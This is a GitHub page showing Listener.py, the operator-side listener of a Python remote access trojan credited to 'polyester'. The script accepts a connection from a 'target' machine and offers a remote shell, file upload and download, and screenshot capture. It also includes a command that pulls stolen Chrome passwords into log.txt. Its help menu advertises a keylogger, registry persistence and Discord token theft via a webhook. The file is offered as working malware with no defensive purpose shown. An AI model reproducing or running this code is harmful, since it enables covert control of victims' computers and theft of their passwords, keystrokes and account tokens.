-
Notifications
You must be signed in to change notification settings - Fork 9
Expand file tree
/
Copy pathListener.py
More file actions
114 lines (100 loc) · 4.3 KB
/
Listener.py
File metadata and controls
114 lines (100 loc) · 4.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import socket
import termcolor
import json
import os
import time
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def target_communication():
count = 0
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command[:8] == 'download':
download_file(command[9:])
elif command [:10] == "chromegrab":
time.sleep(5)
download_file("log.txt")
print("the passwords are saved in log.txt")
elif command[:10] == 'screenshot':
f = open('screenshot%d' % (count), 'wb')
target.settimeout(3)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
os.rename('screenshot0', 'screenshot.jpg')
print("screenshot saved as screenshot.jpg")
count += 1
elif command[:6] == "dtoken":
print("token will be sent through your discord webhook")
elif command == 'help':
print(termcolor.colored('''\n
quit --> Quit Session With The Target
clear --> Clear The Screen
cd *Directory Name* --> Changes Directory On Target System
upload *file name* --> Upload File To The target Machine
download *file name* --> Download File From Target Machine
keylog_start --> Start The Keylogger
keylog_dump --> Print Keystrokes That The Target Inputted
keylog_stop --> Stop And Self Destruct Keylogger File
persistence *RegName* *fileName* --> Create Persistence In Registry
checkpriv --> check admin privilege
chromegrab --> grab chrome passwords
screenshot --> get target screenshot
dtoken --> get target discord token(through discord webhook)''', 'green'))
else:
result = reliable_recv()
print(result)
print("""
██████╗░░█████╗░██╗░░░░░██╗░░░██╗░█████╗░██████╗░
██╔══██╗██╔══██╗██║░░░░░╚██╗░██╔╝██╔══██╗╚════██╗
██████╔╝██║░░██║██║░░░░░░╚████╔╝░██║░░╚═╝░░███╔═╝
██╔═══╝░██║░░██║██║░░░░░░░╚██╔╝░░██║░░██╗██╔══╝░░
██║░░░░░╚█████╔╝███████╗░░░██║░░░╚█████╔╝███████╗
-made by polyester""")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('192.168.10.116', 5555))
print(termcolor.colored('[+] Listening For The Incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target Connected From: ' + str(ip), 'green'))
print(termcolor.colored("'help' for options", 'green'))
target_communication()